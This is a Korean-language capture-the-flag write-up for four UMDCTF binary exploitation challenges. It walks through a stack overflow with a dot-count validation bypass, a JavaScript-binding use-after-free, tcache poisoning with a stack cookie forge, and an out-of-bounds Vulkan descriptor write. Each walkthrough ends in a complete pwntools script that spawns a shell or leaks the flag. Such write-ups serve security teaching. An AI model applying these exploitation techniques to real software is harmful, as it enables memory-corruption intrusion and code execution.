ipv8
취약점 분석
1. main 함수의 Source Host 입력에서 scanf("%s") 사용으로 인한 Stack Buffer Overflow
main 함수에서 Source Host를 입력받을 때 scanf("%s", source_host)를 사용한다. source_host 버퍼는 rbp-0x60 (96바이트)에 위치하지만, %s 포맷 스트링은 입력 길이를 제한하지 않으므로 버퍼를 초과하여 Saved RBP와 Saved RIP까지 덮어쓸 수 있다. main 함수에는 Stack Canary가 적용되어 있지 않아 별도의 Canary Leak 없이 직접 Return Address를 조작할 수 있다.
// source_host: rbp-0x60 (96 bytes)
// Saved RBP: rbp+0x00
// Saved RIP: rbp+0x08
// → offset to Saved RIP = 0x60 + 0x08 = 0x68 (104 bytes)
scanf("%s", source_host); // at 0x403126, 길이 제한 없음
check_valid_address(source_host); // at 0x4031322. check_valid_address 함수의 불충분한 입력 검증
check_valid_address는 입력 문자열에서 NUL 바이트(\x00)를 만날 때까지 '.' 문자의 개수만 세어 정확히 3개인지 확인한다. 문자열의 길이나 각 옥텟의 형식은 전혀 검증하지 않는다. 따라서 임의의 바이트 101개 뒤에 "..."만 붙이면 유효한 주소로 통과시킬 수 있으며, 그 뒤에 오는 오버플로우 페이로드에 NUL 바이트가 포함되면 NUL 이전의 '.' 3개만 세고 검증을 통과한다.
int check_valid_address(char *addr) {
int dot_count = 0;
while (*addr != '\0') { // NUL 바이트에서 순회 종료
if (*addr == '.')
dot_count++;
addr++;
}
return dot_count != 3; // dot이 정확히 3개이면 0(유효) 반환
}3. Destination Host 입력을 통한 RINE 값 NUL 바이트 덮어쓰기 (check_rine 우회)
main 함수에서 RINE 버퍼(rbp-0x90)는 "0.0.0.0"으로 초기화되고, check_rine 함수에서 이 값이 "0.0.0.0"과 일치하면 exit(1)을 호출하여 프로그램을 종료시킨다. Destination Host 버퍼는 rbp-0xc0에 위치하며 scanf("%48s")로 최대 48바이트를 입력받는데, 48바이트를 꽉 채우면 scanf가 자동으로 추가하는 NUL 종단 바이트가 rbp-0xc0 + 48 = rbp-0x90 위치, 즉 RINE 버퍼의 첫 바이트를 \x00으로 덮어쓴다. 이로 인해 RINE 값이 빈 문자열이 되어 "0.0.0.0" 비교를 통과하고, exit(1) 호출을 우회하여 main 함수가 정상적으로 리턴하도록 만들 수 있다.
// 스택 레이아웃:
// rbp-0xc0: destination_host (48 bytes)
// rbp-0x90: rine = "0.0.0.0" (기본값)
// rbp-0x60: source_host
scanf("%48s", destination_host); // at 0x4031ea
// 48바이트 입력 시, NUL 종단이 rbp-0x90 (rine[0])을 0x00으로 덮어씀
// check_rine 내부:
if (strcmp(rine, "0.0.0.0") == 0) { // rine이 빈 문자열이면 불일치 → 통과
puts("Wrong RINE address!!");
exit(1);
}Exploit 과정
Step 1: Source Host 입력으로 Return Address 덮어쓰기
Source Host 버퍼(rbp-0x60)부터 Saved RIP(rbp+0x08)까지의 거리는 104바이트(0x68)이다. check_valid_address를 통과하기 위해 NUL 바이트 이전에 '.'가 정확히 3개 있어야 한다. p64(ret) = p64(0x40101a) = \x1a\x10\x40\x00...이므로 4번째 바이트에 NUL이 위치한다. 따라서 "A" * 101 + "..." (104바이트)로 Saved RIP까지 채운 뒤, p64(ret) + p64(win)을 이어 붙이면 check_valid_address는 NUL 이전의 '.' 3개만 세고 유효하다고 판단한다.
ret 가젯(0x40101a)은 system 호출 시 x86-64 ABI의 16바이트 스택 정렬(Stack Alignment)을 맞추기 위해 삽입한다.
ret = 0x40101a
win = exe.sym.win # 0x402f45
source_host = b"A" * 101 + b"..." + p64(ret) + p64(win)
# |--- 101 bytes ---|..|--- 3 dots ---|- ret gadget -|- win addr -|
# |<----- 104 bytes (0x68) --------->| Saved RIP Next RIPStep 2: Destination Host 입력으로 RINE 값 무효화
Destination Host 버퍼(rbp-0xc0)에 정확히 48바이트를 입력하여 scanf의 NUL 종단 바이트로 RINE 버퍼의 첫 바이트를 \x00으로 덮어쓴다. Destination Host도 check_valid_address를 통과해야 하므로 "1.2.3." + "A" * 42로 '.' 3개를 포함시킨다.
destination_host = b"1.2.3." + b"A" * (48 - len(b"1.2.3."))
# 총 48바이트 → scanf가 49번째 위치(rbp-0x90)에 NUL 기록 → rine[0] = '\x00'Step 3: main 함수 리턴 → win 함수 실행
check_rine에서 RINE이 빈 문자열이므로 "0.0.0.0" 비교를 통과하고, exit(1) 없이 정상 리턴한다. 이후 main 함수의 leave; ret 명령이 실행되면서 조작된 Return Address를 따라 ret 가젯 → win 함수 순서로 실행되어 system("/bin/sh")이 호출된다.
Exploit Code
#!/usr/bin/env python3
from pwn import *
context.log_level = "info"
exe = ELF("ipv4")
context.binary = exe
def conn():
if args.REMOTE:
host = args.HOST or "challs.umdctf.io"
port = int(args.PORT or 30308)
r = remote(host, port)
else:
r = process([exe.path])
return r
def main():
ret = 0x40101a
win = exe.sym.win
# main's source-host buffer is at rbp-0x60, so saved RIP is 0x68 bytes away.
# check_valid_address() only requires exactly three dots before the first NUL.
source_host = b"A" * 101 + b"..." + p64(ret) + p64(win)
# The destination-host buffer is 48 bytes at rbp-0xc0. scanf("%48s") writes
# a trailing NUL at rbp-0x90, clearing the default "0.0.0.0" RINE value so
# check_rine() returns instead of exiting.
destination_host = b"1.2.3." + b"A" * (48 - len(b"1.2.3."))
r.sendlineafter(b"> ", b"ignored")
r.sendlineafter(b"> ", source_host)
r.sendlineafter(b"> ", b"ignored")
r.sendlineafter(b"> ", destination_host)
r.interactive()
if __name__ == "__main__":
r = conn()
main()bookmaker
취약점 분석
1. Use-After-Free: Ledger.view()와 Ledger.recycle() 간의 dangling reference
Ledger.view() 메서드는 네이티브 Ledger 백킹 버퍼에 대한 별칭(alias) ArrayBuffer를 반환한다. 이후 Ledger.recycle()을 호출하면 네이티브 백킹 메모리가 해제되지만, JavaScript 측의 ArrayBuffer 참조는 그대로 유지된다.
이로 인해 Use-After-Free 상태가 발생하여, 해제된 메모리 영역을 JavaScript에서 자유롭게 읽고 쓸 수 있게 된다. 해제된 0x30 바이트 청크는 mintWire()로 할당되는 Wire 티켓과 동일한 크기이므로, 같은 메모리 영역을 Wire 구조체가 재점유하게 된다.
let l = new Ledger(0x30); // 0x30 바이트 네이티브 버퍼 할당
let stale = l.view(); // 네이티브 버퍼를 가리키는 ArrayBuffer 반환
l.recycle(); // 네이티브 버퍼 해제 → stale은 dangling reference
let id = mintWire(); // 해제된 0x30 청크를 Wire 티켓이 재할당
let dv = new DataView(stale); // stale을 통해 Wire 구조체를 직접 읽기/쓰기 가능2. 임의 쓰기(Arbitrary Write): Wire 티켓의 dst 포인터 조작
UAF를 통해 Wire 티켓의 내부 필드를 직접 덮어쓸 수 있다. Wire 구조체의 레이아웃은 다음과 같다:
| 오프셋 | 필드 | 설명 |
|---|---|---|
0x00 | dst | wireWrite() 시 데이터가 복사될 목적지 포인터 |
0x08 | size | 복사 크기 |
0x18 | resolver | 로컬 resolver 함수 포인터 (기본값: NO resolver) |
stale ArrayBuffer로 dst를 원하는 주소로, size를 원하는 크기로 변경하면, wireWrite() 호출 시 임의 주소에 임의 데이터를 쓸 수 있다. 이를 통해 전역 resolver 함수 포인터를 YES resolver로 덮어쓰면, settle() 호출 시 /bin/sh가 실행된다.
// dst를 전역 resolver 포인터(cc108) 위치로 변경
poke64(stale, 0x00, cc120 - 0x18);
poke64(stale, 0x08, 8);
// wireWrite()가 cc108 주소에 YES resolver 주소를 기록
let payload = new ArrayBuffer(8);
poke64(payload, 0, yes);
wireWrite(id, payload);Exploit 과정
Step 1: UAF를 통한 Wire 구조체 접근
Ledger(0x30)으로 네이티브 버퍼를 할당하고, view()로 ArrayBuffer 참조를 획득한 뒤, recycle()로 해제한다. 이후 mintWire()가 같은 0x30 청크를 재할당하면, 기존 stale ArrayBuffer를 통해 Wire 구조체의 내부 필드를 직접 읽을 수 있다.
let l = new Ledger(0x30);
let stale = l.view();
l.recycle();
let id = mintWire();
let dv = new DataView(stale);Step 2: 포인터 릭 (Pointer Leak)
stale이 Wire 구조체와 겹치므로, DataView를 통해 내부 포인터들을 읽어온다. 오프셋 0x00에서 dst 포인터(cc120)를, 오프셋 0x18에서 NO resolver 주소를 얻는다. YES resolver는 NO resolver로부터 +0x30 위치에 있다.
let cc120 = Number(dv.getBigUint64(0x00, true)); // ticket->dst
let no = Number(dv.getBigUint64(0x18, true)); // NO resolver 주소
let yes = no + 0x30; // YES resolver 주소Step 3: 전역 Resolver 포인터 덮어쓰기
전역 resolver 함수 포인터는 cc108 (= cc120 - 0x18) 주소에 저장되어 있다. poke64로 Wire 티켓의 dst를 cc108로, size를 8로 변경한 뒤, wireWrite()로 YES resolver 주소를 기록한다.
poke64(stale, 0x00, cc120 - 0x18); // dst → 전역 resolver 포인터 위치
poke64(stale, 0x08, 8); // size → 8바이트
let payload = new ArrayBuffer(8);
poke64(payload, 0, yes); // YES resolver 주소를 payload에 저장
wireWrite(id, payload); // 전역 resolver를 YES로 덮어쓰기Step 4: 셸 획득
settle()을 호출하면 덮어쓴 전역 resolver가 YES resolver를 실행하고, 이 코드 경로에서 /bin/sh가 실행된다.
settle("pwned");Exploit Code
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./bookmaker", checksec=False)
context.log_level = args.LOG or "info"
def start():
if args.REMOTE:
host = args.HOST or "challs.umdctf.io"
port = int(args.PORT or 30307)
return remote(host, port)
return process(elf.path)
js = r"""
let l = new Ledger(0x30);
let stale = l.view();
l.recycle();
let id = mintWire();
let dv = new DataView(stale);
let cc120 = Number(dv.getBigUint64(0x00, true));
let no = Number(dv.getBigUint64(0x18, true));
let yes = no + 0x30;
// Retarget the ticket destination to the global resolver pointer (cc108).
poke64(stale, 0x00, cc120 - 0x18);
poke64(stale, 0x08, 8);
let payload = new ArrayBuffer(8);
poke64(payload, 0, yes);
wireWrite(id, payload);
settle("pwned");
"""
io = start()
io.send(js.encode())
io.sendline(b"__END_MARKET_SCRIPT__")
io.interactive()velvet-table
취약점 분석
1. Table Marker를 통한 스택 주소 Leak
프로그램 시작 시 table marker를 출력하는데, 이 값은 스택 변수의 주소를 4비트 우측 시프트한 값에 0x9AC90307을 XOR한 결과이다. 공격자는 marker에서 역연산으로 스택 주소 하위 비트를 복원할 수 있고, 이를 통해 secret 값(stack_low ^ 0x5A17C3D9)과 seat_mask((stack_low ^ 0x7E) & 0xF), 스택 상의 주요 구조체 주소를 알아낼 수 있다.
; stack_note 주소를 4비트 시프트하여 marker 생성
1218: shr $0x4,%rbx
; marker = stack_low ^ 0x9AC90307
1303: xor $0x9ac90307,%edx
; secret = stack_low ^ 0x5A17C3D9
1234: xor $0x5a17c3d9,%esi
; seat_mask = (stack_low ^ 0x7E) & 0xF
1231: xor $0x7e,%eax
1246: and $0xf,%eax2. Use-After-Free를 통한 Tcache Poisoning
cashout (메뉴 2)은 seat의 힙 청크를 free()하지만, seat 배열의 포인터를 NULL로 초기화하지 않는다. update (메뉴 3)는 해제된 seat에 대해서도 데이터 쓰기가 가능하므로, freed chunk의 tcache fd 포인터를 덮어쓸 수 있다. 이를 통해 tcache freelist를 오염시켜 임의 주소에 힙 청크를 할당받을 수 있다.
; cashout: free 후 포인터를 제거하지 않음 (size만 0으로 설정)
170b: call 1100 <free@plt>
171b: movl $0x0,0x10(%rax) ; active flag만 0으로 클리어
; → 포인터는 배열에 그대로 남아있어 UAF 발생3. 스택의 함수 포인터 + 커스텀 쿠키를 통한 제어 흐름 탈취
payout (메뉴 6)은 스택에 저장된 함수 포인터(fp, offset +0x20)를 호출하기 전에 커스텀 쿠키 검증을 수행한다: cookie == fp ^ (secret << 32) ^ HOUSE_COOKIE. tcache poisoning으로 이 스택 영역에 청크를 할당받으면, fp와 cookie를 원하는 값으로 덮어쓸 수 있다.
; payout: 쿠키 검증 후 함수 포인터 호출
1453: mov 0xb0(%rsp),%rdx ; fp 로드
145b: mov 0x30(%rsp),%rax ; secret << 32
1460: movabs $0x686f7573655f6564,%rcx ; HOUSE_COOKIE
146a: xor %rdx,%rax
146d: xor %rcx,%rax
1470: cmp %rax,0xb8(%rsp) ; cookie 비교
1478: jne 1928 ; 불일치 시 실패
147e: call *%rdx ; fp 호출 → win!4. Win 함수
0x1b60 오프셋에 win 함수가 존재하며, “yay.”를 출력한 뒤 system("/bin/sh")를 호출한다.
1b60: lea 0x4a6(%rip),%rdi ; "yay."
1b6f: call puts@plt
1b74: lea 0x49f(%rip),%rdi ; "/bin/sh"
1b7b: call system@pltExploit 과정
Step 1: Table Marker에서 정보 복원
프로그램이 출력하는 table marker 값을 파싱하여 스택 주소, secret, seat_mask를 역산한다.
marker = int(io.recvline().strip(), 16)
stack_low = (marker ^ MARKER_XOR) & 0xFFFFFFFF
secret = stack_low ^ SECRET_XOR
seat_mask = (stack_low ^ 0x7E) & 0xF
stack_note = (0x7FF << 36) | (stack_low << 4)
fp_slot = stack_note + 0x20 # 함수 포인터가 저장된 스택 위치Step 2: Tcache Poisoning을 위한 힙 배치
0x80 크기의 청크 3개를 할당(seat 0, 1, 2)한 뒤, seat 0과 1을 순서대로 cashout(free)한다. settle (메뉴 7)로 내부 ledger를 정리한 뒤, UAF를 이용해 seat 1의 freed chunk에 조작된 fd 포인터를 쓴다.
a = reserve(io, 0, 0x80)
b = reserve(io, 1, 0x80)
reserve(io, 2, 0x80)
cashout(io, 0)
cashout(io, 1)
settle(io)
# tcache fd poisoning: safe-linking 우회 (fd = target ^ (chunk_addr >> 12))
update(io, 1, p64(fp_slot ^ (b >> 12)))Step 3: 스택에 청크 할당 및 PIE Leak
tcache가 오염되었으므로, 두 번 reserve하면 두 번째 할당이 fp_slot (스택)을 반환한다. inspect로 해당 스택 영역을 읽으면 기존에 저장된 함수 포인터 값이 노출되어 PIE base를 계산할 수 있다.
reserve(io, 3, 0x80) # 정상 청크 소비
poisoned = reserve(io, 4, 0x80) # fp_slot (스택)에 할당됨
leak = decode_inspect(inspect(io, 4), 4, seat_mask, secret)
pie = u64(leak[:8]) - 0x1B50 # 기존 fp 값에서 PIE base 계산
win = pie + 0x1B60Step 4: 함수 포인터 + 쿠키 덮어쓰기 및 Payout 트리거
win 함수 주소와 이에 대응하는 올바른 쿠키 값을 계산하여 스택에 쓴 뒤, payout을 호출하면 쿠키 검증을 통과하고 win 함수가 실행되어 셸을 획득한다.
cookie = win ^ ((secret & 0xFFFFFFFF) << 32) ^ HOUSE_COOKIE
update(io, 4, p64(win) + p64(cookie))
cashout(io, 2) # payout gate를 홀수로 만들기 위함
payout(io) # → win() → system("/bin/sh")Exploit Code
#!/usr/bin/env python3
from pwn import *
context.binary = exe = ELF("./velvet-table-patched", checksec=False)
context.log_level = args.LOG or "info"
HOUSE_COOKIE = 0x686f7573655f6564
MARKER_XOR = 0x9AC90307
SECRET_XOR = 0x5A17C3D9
def start():
if args.REMOTE:
host = args.HOST or "challs.umdctf.io"
port = int(args.PORT or 30304)
return remote(host, port)
return process(exe.path)
def parse_state(io):
io.recvuntil(b"table marker: ")
marker = int(io.recvline().strip(), 16)
stack_low = (marker ^ MARKER_XOR) & 0xFFFFFFFF
secret = stack_low ^ SECRET_XOR
seat_mask = (stack_low ^ 0x7E) & 0xF
stack_note = (0x7FF << 36) | (stack_low << 4)
return marker, secret, seat_mask, stack_note
def menu(io, choice):
io.recvuntil(b"> ")
io.sendline(str(choice).encode())
def reserve(io, seat, size):
menu(io, 1)
io.recvuntil(b"seat: ")
io.sendline(str(seat).encode())
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
io.recvuntil(b"reservation confirmed: ")
return int(io.recvline().strip(), 16)
def cashout(io, seat):
menu(io, 2)
io.recvuntil(b"seat: ")
io.sendline(str(seat).encode())
io.recvline()
def update(io, seat, data):
menu(io, 3)
io.recvuntil(b"seat: ")
io.sendline(str(seat).encode())
io.recvuntil(b"length: ")
io.sendline(str(len(data)).encode())
io.recvuntil(b"data:\n")
io.send(data)
io.recvline()
def inspect(io, seat, size=0x40):
menu(io, 4)
io.recvuntil(b"seat: ")
io.sendline(str(seat).encode())
return io.recvn(size)
def settle(io):
menu(io, 7)
io.recvline()
def payout(io):
menu(io, 6)
def actual_index(seat, seat_mask):
return ((seat ^ seat_mask) + 3) & 0xF
def decode_inspect(data, seat, seat_mask, secret):
idx = actual_index(seat, seat_mask)
out = bytearray()
for i, c in enumerate(data):
key = (((idx * 0x45D9F3B) & 0xFFFFFFFF) ^ secret) & 0xFFFFFFFF
key ^= (i * 0x9E37) & 0xFFFFFFFF
rot = (idx + i) & 7
if rot:
key = ((key << rot) | (key >> (32 - rot))) & 0xFFFFFFFF
out.append(c ^ (key & 0xFF))
return bytes(out)
def main():
io = start()
marker, secret, seat_mask, stack_note = parse_state(io)
log.info("marker=%#x secret=%#x stack_note=%#x", marker, secret, stack_note)
fp_slot = stack_note + 0x20
a = reserve(io, 0, 0x80)
b = reserve(io, 1, 0x80)
reserve(io, 2, 0x80)
cashout(io, 0)
cashout(io, 1)
settle(io)
update(io, 1, p64(fp_slot ^ (b >> 12)))
reserve(io, 3, 0x80)
poisoned = reserve(io, 4, 0x80)
if poisoned != fp_slot:
log.failure("tcache poison failed: got %#x, wanted %#x", poisoned, fp_slot)
io.close()
return
leak = decode_inspect(inspect(io, 4), 4, seat_mask, secret)
pie = u64(leak[:8]) - 0x1B50
win = pie + 0x1B60
cookie = win ^ ((secret & 0xFFFFFFFF) << 32) ^ HOUSE_COOKIE
log.info("pie=%#x win=%#x cookie=%#x", pie, win, cookie)
update(io, 4, p64(win) + p64(cookie))
cashout(io, 2)
payout(io)
io.interactive()
if __name__ == "__main__":
main()vkexchange
취약점 분석
1. menu_quote_position()의 Out-of-Bounds Descriptor Update
menu_quote_position() 함수에서 사용자가 입력한 price_index를 dstArrayElement로 그대로 전달한다. quote_book의 binding 0은 descriptorCount = 1인 단일 storage buffer descriptor이지만, price_index에 대한 검증이 MIN_PRICE_INDEX(32768) ~ MAX_PRICE_INDEX(300000) 범위 내인지만 확인하므로, 모든 유효한 인덱스가 배열 경계를 벗어난다.
Mesa lavapipe 드라이버 내부에서 descriptor update는 별도의 배열 경계 검사 없이 desc[dstArrayElement] = storage_buffer_descriptor 형태로 수행되므로, 이를 통해 quote_book 이후에 할당된 descriptor set 메모리를 임의의 storage buffer descriptor로 덮어쓸 수 있다.
// menu_quote_position() - vkexchange.c:773~792
uint64_t idx = ask_u64("price_index: ");
// ...
if (idx < MIN_PRICE_INDEX || idx > MAX_PRICE_INDEX) { // MIN=32768, 배열 크기=1
puts("bad price index");
return;
}
// ...
update_storage_desc(app, app->quote_book, 0, (uint32_t)idx,
b->buf, off, range); // OOB write 발생2. Descriptor Set의 예측 가능한 메모리 레이아웃
open_order_books()에서 descriptor set들이 quote_book -> market[0].set -> settlement_book 순서로 연속 할당된다. 이로 인해 quote_book의 binding 0에서 OOB로 접근할 때, 특정 price_index 값으로 settlement_book의 binding 1(clearing_buf descriptor)을 정확히 겨냥할 수 있다.
settlement_book의 binding 1은 clearing_buf를 가리키며, 셰이더에서 oracle_buf(플래그 데이터)의 내용을 이 버퍼로 복사한다. 이 descriptor를 사용자의 account buffer로 교체하면, 셰이더 실행 시 플래그가 account buffer로 복사된다.
// open_order_books() - vkexchange.c:577~599
// descriptor set 할당 순서가 고정되어 있어 OOB 오프셋 계산이 가능
VkDescriptorSetLayout layouts[2 + MAX_MARKETS];
uint32_t n = 0;
layouts[n++] = app->quote_layout; // quote_book
for (uint32_t i = 0; i < app->market_count; i++) {
layouts[n++] = app->markets[i].layout; // market[i].set
}
layouts[n++] = app->settlement_layout; // settlement_book3. Compute Shader를 통한 데이터 유출 경로
settlement 셰이더는 mode == 0일 때 oracle_buf(플래그)에서 clearing_buf로 32비트 워드를 복사한다. clearing_buf의 descriptor가 account buffer로 교체된 상태에서 settle을 수행하면, 플래그 데이터가 사용자가 읽을 수 있는 account buffer에 기록된다.
// settlement.comp
void main() {
if (push.index >= 64) {
return;
}
if (push.mode == 0) {
// oracle_buf(플래그) -> clearing_buf(= 교체된 account buffer)로 복사
clearing_words[push.index] = oracle_words[push.index];
}
}Exploit 과정
Step 1: Account 생성 및 Market 등록
0x100 바이트 크기의 account buffer를 하나 생성하고, outcome_slots = 32768, memo_bytes = 8인 market을 등록한다. market의 파라미터는 lavapipe 내부에서 descriptor set 사이의 정렬을 맞추기 위해 선택된 값이다. memo_bytes = 8이 market descriptor set의 크기를 조정하여, OOB descriptor write가 정확히 settlement_book의 binding 1을 겨냥하도록 한다.
ACCOUNT_SIZE = 0x100
OUTCOME_SLOTS = 32768
MEMO_BYTES = 8
open_account(io, ACCOUNT_SIZE)
list_market(io, OUTCOME_SLOTS, MEMO_BYTES)Step 2: Exchange 오픈
open_exchange()를 호출하면 내부적으로 descriptor layout 생성, 셰이더 파이프라인 생성, 플래그를 oracle_buf에 복사, descriptor set 할당(quote_book -> market[0].set -> settlement_book) 순서로 초기화가 수행된다.
open_exchange(io)Step 3: OOB Descriptor Update로 settlement binding 1 덮어쓰기
price_index = 32778로 quote_position()을 호출한다. quote_book의 binding 0은 descriptor 1개짜리 배열이므로, 인덱스 32778은 배열 경계를 크게 벗어나 settlement_book의 binding 1 위치에 도달한다. 이 write로 clearing_buf descriptor가 account 0의 buffer descriptor로 교체된다.
PRICE_INDEX = 32778
quote_position(io, PRICE_INDEX, 0, 0, ACCOUNT_SIZE)Step 4: Settlement 실행으로 플래그 복사
라운드 0~63에 대해 settle()을 반복 호출한다. 각 라운드에서 셰이더는 oracle_buf[index]를 clearing_buf[index]로 복사하는데, clearing_buf가 account 0으로 교체되었으므로 플래그의 각 32비트 워드가 account 0에 기록된다.
for i in range(64):
settle(io, i)Step 5: Account Audit로 플래그 읽기
account 0을 audit()하여 기록된 데이터를 hex로 읽어오고, null 바이트 이전까지의 데이터에서 플래그 포맷을 추출한다.
leaked = audit(io, 0, 0, ACCOUNT_SIZE).split(b"\x00", 1)[0]
m = re.search(rb"UMDCTF\{[^}]*\}", leaked)
flag = m.group(0) if m else leaked
print(flag.decode(errors="replace"))Exploit Code
#!/usr/bin/env python3
from pwn import *
import os
import re
import subprocess
import sys
context.log_level = os.environ.get("LOG", "info")
BIN = args.BIN or "./vkexchange"
HOST = args.HOST or "challs.umdctf.io"
PORT = int(args.PORT or 30305)
ACCOUNT_SIZE = 0x100
OUTCOME_SLOTS = 32768
MEMO_BYTES = 8
PRICE_INDEX = 32778
def start():
if args.REMOTE:
pos = [x for x in sys.argv[1:] if x != "REMOTE" and "=" not in x]
host = pos[0] if len(pos) > 0 else HOST
port = int(pos[1]) if len(pos) > 1 else PORT
return remote(host, int(port))
image = args.IMAGE or "vkexchange-app"
has_docker_image = subprocess.run(
["docker", "image", "inspect", image],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
).returncode == 0
if args.DOCKER or (has_docker_image and not args.LOCAL):
return process(["docker", "run", "--rm", "-i", image, "/app/run"])
env = os.environ.copy()
env.setdefault("LIBGL_ALWAYS_SOFTWARE", "1")
env.setdefault("VK_ICD_FILENAMES", "/usr/share/vulkan/icd.d/lvp_icd.x86_64.json")
return process(BIN, env=env)
def menu(io, n):
io.sendlineafter(b"> ", str(n).encode())
def answer(io, prompt, n):
io.sendlineafter(prompt, str(n).encode())
def open_account(io, size):
menu(io, 1)
answer(io, b"bytes: ", size)
def list_market(io, slots, memo):
menu(io, 4)
answer(io, b"outcome_slots: ", slots)
answer(io, b"memo_bytes: ", memo)
def open_exchange(io):
menu(io, 5)
io.recvuntil(b"exchange open")
def quote_position(io, price_index, account, offset, size):
menu(io, 6)
answer(io, b"price_index: ", price_index)
answer(io, b"account: ", account)
answer(io, b"offset: ", offset)
answer(io, b"range: ", size)
io.recvuntil(b"quoted")
def settle(io, round_id):
menu(io, 7)
answer(io, b"round: ", round_id)
def audit(io, account, offset, size):
menu(io, 3)
answer(io, b"account: ", account)
answer(io, b"offset: ", offset)
answer(io, b"bytes: ", size)
while True:
line = io.recvline(timeout=5)
if not line:
raise EOFError("no audit output")
line = line.strip()
if re.fullmatch(rb"[0-9a-f]+", line):
return bytes.fromhex(line.decode())
def main():
io = start()
# Step 1: account 생성 및 market 등록
open_account(io, ACCOUNT_SIZE)
list_market(io, OUTCOME_SLOTS, MEMO_BYTES)
# Step 2: exchange 오픈 (descriptor set 할당)
open_exchange(io)
# Step 3: OOB descriptor update로 settlement binding 1을 account 0으로 교체
quote_position(io, PRICE_INDEX, 0, 0, ACCOUNT_SIZE)
# Step 4: settle 반복으로 oracle_buf(플래그) -> account 0 복사
for i in range(64):
settle(io, i)
# Step 5: account 0에서 플래그 읽기
leaked = audit(io, 0, 0, ACCOUNT_SIZE).split(b"\x00", 1)[0]
m = re.search(rb"UMDCTF\{[^}]*\}", leaked)
flag = m.group(0) if m else leaked
print(flag.decode(errors="replace"))
io.close()
if __name__ == "__main__":
main()